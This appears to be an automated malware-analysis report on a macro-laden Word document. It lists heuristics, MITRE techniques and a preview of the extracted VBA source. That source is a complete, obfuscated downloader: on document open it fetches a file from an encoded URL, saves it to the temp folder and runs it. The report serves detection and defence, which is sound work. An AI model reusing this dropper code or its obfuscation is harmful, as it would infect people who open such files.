MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is designed to execute, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic. The macro likely downloads and executes a second-stage payload, as suggested by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The document body explicitly instructs the user to enable content, which is a common lure for macro-based malware.
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
£¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼ = ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢ = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹ = Environ("tmp") + ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("\ããRVáQ.ÂÛÂ") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9049 bytes |
SHA-256: 4bdfb3fe56177cf19571a13eac8f61fc4e3fd5afc9b07b2009076e763b77fcea |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥)
®½´§¥·§¤´²¨¡¿¿°¶½¢º¢¼¨·¨¢¥¶¯¡ª¤¡£µ¾¨££´®¾°²©¦¶º´¨«ª«¨½®©°¯¯¥«©¯°®µ´§®¢§¬¥²©©¾¾¡µ¼¢º£¼¨¢¨ª® = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
¼º§¾ª§©£¸¸ª©¤»¡¯¥¾ºª¥«¸µµ´·¢¦¢¯²§³µ¶²¯³ª»¹²¾¸®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²» = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
For i = 1 To Len(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥)
©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨ = InStr(®½´§¥·§¤´²¨¡¿¿°¶½¢º¢¼¨·¨¢¥¶¯¡ª¤¡£µ¾¨££´®¾°²©¦¶º´¨«ª«¨½®©°¯¯¥«©¯°®µ´§®¢§¬¥²©©¾¾¡µ¼¢º£¼¨¢¨ª®, Mid(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥, i, 1))
If ©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨ > 0 Then
¨¸½ª·¬¶ª°¿°·´¾µ®¸¾®¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º°µ¹¬´´½¢°¥º¤¾½³¤¸³£µ»²°§§¹¾©¸«·©²¸²¡¤·¶¬¹¿¬¯§³ = Mid(¼º§¾ª§©£¸¸ª©¤»¡¯¥¾ºª¥«¸µµ´·¢¦¢¯²§³µ¶²¯³ª»¹²¾¸®¥°©ª½¶©´»«¹«»½¢©ª¯¤¥¸©µ¹¶½¿§¶·¼¬¿²», ©³¢¥«·¼½¼¿¶²¶§°°º¼¾¹§²£¬¸º©¸»¬¦·¾·¡¿£¤½³½µ·©·½ºª¬²¾¢¦©¢¸®¡¨£»¸¥¤¿¤¡µ¢®¨¨©¦¸»¿³»º«©§¬³¼·¢®«°®ª£¤¯§¨, 1)
´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ + ¨¸½ª·¬¶ª°¿°·´¾µ®¸¾®¿¨²»¿¯©µ²«ª¹¼§¢¨º¸¸·º°µ¹¬´´½¢°¥º¤¾½³¤¸³£µ»²°§§¹¾©¸«·©²¸²¡¤·¶¬¹¿¬¯§³
Else
´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½ + Mid(©®²¬¶¤¦®¡§¬¤³¨¨¿·¨¶½©»ª¼¿©¾½¹ª¬²¾¢²¡¶¸¯¢¡µ»¸¦´¿¤¸´£¯©©©§¿»¿³ºº«©¨¬³»·£®¬°®«£´¿§¯¨¸ªª¶¥¶£¡¿¡·³½¼¥, i, 1)
End If
Next
²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª = ´¯®¨¶¦¼©º½¦½·¥¨§¨¦¯¼¯´«»ª¨§«´ª¸¢¤«²¤ª¢µ¦¦®¹¥¸¿§½¨¾®²¥§ª°¢¼¦¹¼º®¬£ºº¯©¬¶¾¥·¬¿¹¤²³²µ¥©¥½
End Function
Private Sub Document_Open()
Dim ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢
Set ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢ = CreateObject("microsoft.xmlhttp")
Dim ¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹
Dim ¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢
Set ¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢ = CreateObject("Shell.Application")
¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹ = Environ("tmp") + ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("\ããRVáQ.ÂÛÂ")
¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.Open "GET", ²½®»¡¤£¤¡ª¦¢¸§§³¤¢§¸¦¼»°¦¶°¥³¹¢¢©©·¼«¶®µ«¡¶¡£¦µ³¯·½¯¾©°²¾¾ª´¨§³©¥·»µ§ªªª¨¾º¾²®¹¬ª("hÖÖÓ://ÖhÂmÂÕ-ÛzÒÅÂ.mÂ/ÄÖhÂmÂÕ/áNÙ9994757667Ö47ÔwÂg7ÔgÕÔgÔÕÃg54ÖÙÔjÜÀÀdÀÂwÖqgÜ56ÖÁ55758F.ÂÛÂ"), False
¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.send
£¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼ = ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.responseBody
If ¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼¤¡£´¶¾¤£´¹¶§²½¦¶³¤¾«ª«¨½¹½°¸¸®«©¯°¹µ¥¿®¢¿®¥²¾©¾¶¨µ´ªº«¼¾¢¾ª®£¥¹©¶²¢.Status = 200 Then
Set ¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯ = CreateObject("adodb.stream")
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Open
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Type = 1
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Write £¼¢¯¿µ£º´¢·½³³¥¥»¯§¹ª¹¨³º³²¢¹·ª»®ª¬¦µµ®¬§¸¤½¨»¿¤°¦½ººº¼´¡´©·¢¸º»·©¸¥¯¾·«½¸¯¨¼¼µ¤¼¥³»°º²µ«½»¸¬¯¡¼
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.SaveToFile ¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹, 2
¶§¡¡¢²¿¬¨º¬®¤¢°¥º«¾¶¦¤¸¦£µ³§°¯¯²·¾¡»¡½§¸§¡¤·£»°·»¹¿¥´¸¹¾£¦¼½²¶¯©¿´°°¡³¦¢³¼£¤¶°²£¼¢¯.Close
End If
¾²¯¤´¤¦©²°½´º½»¬£¢»¼®°«·¯µ¸«¦¬¶´´³¶£§£¿¡©°³µ¡¾°«º·°¼·²º¿¶¶£ª¶¬¥´§´¥£½¶µ°»º¨¶«§ª£¡¸ª©¤³¡¯¥¶¬¢.Open (¹ª²½º´©¤£¬ª¼¸¼¡··¯¬ª¿¡¸´¦¾¯£¾¯¦°½ª½µ©´³«¹¬»½£½«¯¤¦¸ªµ°£µ¾§¶¢´®¾²³©³¶»µ¨£¢£°¾®©¹®¯¥£¡¦¹)
End Sub
Attribute VB_Name = "NewMacros"
Sub riffrerent()
'
' riffrerent Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.